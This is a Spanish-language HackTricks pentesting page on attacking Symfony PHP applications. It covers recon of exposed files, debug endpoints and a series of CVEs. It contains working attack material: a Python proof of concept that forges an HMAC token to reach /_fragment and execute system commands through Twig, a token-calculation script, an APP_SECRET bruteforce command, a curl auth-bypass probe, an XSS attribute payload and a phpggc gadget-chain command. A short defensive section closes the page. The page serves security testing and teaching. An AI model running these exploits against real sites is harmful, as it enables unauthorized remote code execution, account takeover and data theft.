Symfony
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Symfony es uno de los frameworks PHP más utilizados y aparece regularmente en evaluaciones de objetivos empresariales, e-commerce y CMS (Drupal, Shopware, Ibexa, OroCRM … todos integran componentes de Symfony). Esta página recoge consejos ofensivos, malas configuraciones comunes y vulnerabilidades recientes que deberías tener en tu checklist cuando descubras una aplicación Symfony.
Nota histórica: Una gran parte del ecosistema todavía ejecuta la rama 5.4 LTS (EOL noviembre 2025). Symfony 7.4 se convirtió en el nuevo LTS en noviembre 2025 y recibirá correcciones de seguridad hasta noviembre 2029. Verifica siempre el nivel de parche exacto porque muchos avisos de 2024‑2026 se solucionaron solo en micro-releases.
Recon & Enumeration
Finger-printing
- Encabezados de respuesta HTTP:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linko cookies que empiezan consf_redirect,sf_session,MOCKSESSID. - Filtraciones de código fuente (leaks) (
composer.json,composer.lock,/vendor/…) a menudo revelan la versión exacta:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Rutas públicas que solo existen en Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists:
symfony.txt→ busca/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Why it matters |
|---|---|
/.env, /.env.local, /.env.prod | Frecuentemente mal desplegado → leaks APP_SECRET, credenciales DB, SMTP, AWS keys |
/.git, .svn, .hg | Divulgación de código fuente → credenciales + lógica de negocio |
/var/log/*.log, /log/dev.log | Mala configuración del web-root expone stack-traces |
/_profiler | Historial completo de peticiones, configuración, service container, APP_SECRET (≤ 3.4) |
/_fragment | Punto de entrada usado por ESI/HInclude. Abuse posible una vez que conozcas APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE si es accesible (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print y a veces leak exception traces |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 originalmente, pero aún aparece en objetivos modernos cuando el debug queda habilitado o
.envestá expuesto. - Una vez conoces el
APP_SECRETde 32 caracteres, crea un token HMAC y abusa del controlador internorender()para ejecutar Twig arbitrario:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excelente write-up & exploitation script: Ambionics blog (linked in References).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Afecta versiones anteriores a 5.4.50, 6.4.29 y 7.3.7. La normalización de la ruta podría eliminar la
/inicial, rompiendo las reglas de control de acceso que asumen/admin, etc. - Prueba rápida:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ si alcanza rutas admin sin autenticación, lo encontraste. - Parche: actualizar
symfony/http-foundationo el framework completo al parche corregido.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Afecta versiones anteriores a 5.4.51, 6.4.33, 7.3.11, 7.4.5 y 8.0.5 en Windows cuando PHP se ejecuta desde MSYS2 (Git-Bash, mingw).
Processfalla al poner comillas en=llevando a rutas corruptas; comandos destructivos (rmdir,del) pueden apuntar a directorios no deseados. - Si puedes subir un script PHP o influir en helpers de Composer/CLI que llamen a
Process, crea argumentos con=(p. ej.E:/=tmp/delete) para provocar reescritura de paths.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Cuando
register_argv_argc=Ony usando runtimes no-SAPI, query strings maliciosos podían voltearAPP_ENV/APP_DEBUGvía el parsing deargv. Parcheado en 5.4.46/6.4.14/7.1.7. - Busca en logs
/?--env=prodo similares siendo aceptados.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Caracteres especiales en la URI no eran validados de la misma forma que lo hacen los navegadores, permitiendo redirecciones a dominios controlados por el atacante. Corregido en 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentantes de 2.25.1 renderizan{{ attributes }}sin escapar → attribute injection/XSS. Si la app permite que usuarios definan atributos de componentes (admin CMS, email templating) puedes encadenar a inyección de script.- Actualiza ambos paquetes a 2.25.1+. Como exploit manual, coloca JS en el valor de un atributo pasado a un componente custom y fuerza su renderizado.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- El componente
Processbuscaba en el working directory antes delPATHen Windows. Un atacante que pueda subirtar.exe,cmd.exe, etc. en un web-root escribible y desencadeneProcess(p. ej. extracción de ficheros, generación de PDF) obtiene ejecución de comandos. - Parcheado en 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- El guard de autenticación reusaba un session ID existente después del login. Si un atacante fija la cookie antes de que la víctima se autentique, secuestra la cuenta tras el login.
9. Twig sandbox XSS – CVE-2023-46734
- En aplicaciones que exponen templates controlados por el usuario (admin CMS, email builder) el filtro
nl2brpodía ser usado para eludir el sandbox e inyectar JS.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idproduce una carga Phar que dispara RCE cuando ocurre un unserialize() sobre clases comosfNamespacedParameterHolder. Revisa endpoints de subida de ficheros y wrappersphar://.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce débil APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE vía Symfony Console expuesto
Si bin/console es accesible a través de php-fpm o mediante una subida directa por CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Usa deserialization gadgets dentro del directorio de caché o escribe una Twig template maliciosa que se ejecutará en la siguiente petición.
Probar rápidamente PATH_INFO bypass (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Si la salida renderizada imprime el atributo sin escaparlo, XSS tiene éxito. Parchear a 2.25.1+.
Notas defensivas
- Nunca despliegues debug (
APP_ENV=dev,APP_DEBUG=1) en producción; bloquea/app_dev.php,/_profiler,/_wdten la configuración del servidor web. - Almacena secretos en env vars o
vault/secrets.local.php, nunca en archivos accesibles desde el document-root. - Aplica gestión de parches – suscríbete a los avisos de seguridad de Symfony y mantén al menos el nivel de parche LTS (5.4.x hasta Nov 2025, 6.4 hasta Nov 2027, 7.4 hasta Nov 2029).
- Si ejecutas en Windows, actualiza inmediatamente para mitigar CVE-2024-51736 & CVE-2026-24739 o añade
open_basedir/disable_functionscomo defensa en profundidad.
Herramientas ofensivas útiles
- ambionics/symfony-exploits – secret-fragment RCE, descubrimiento de rutas del debugger.
- phpggc – cadenas de gadgets listas para usar para Symfony 1 & 2.
- sf-encoder – pequeño ayudante para calcular
_fragmentHMAC (implementación en Go).
Referencias
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


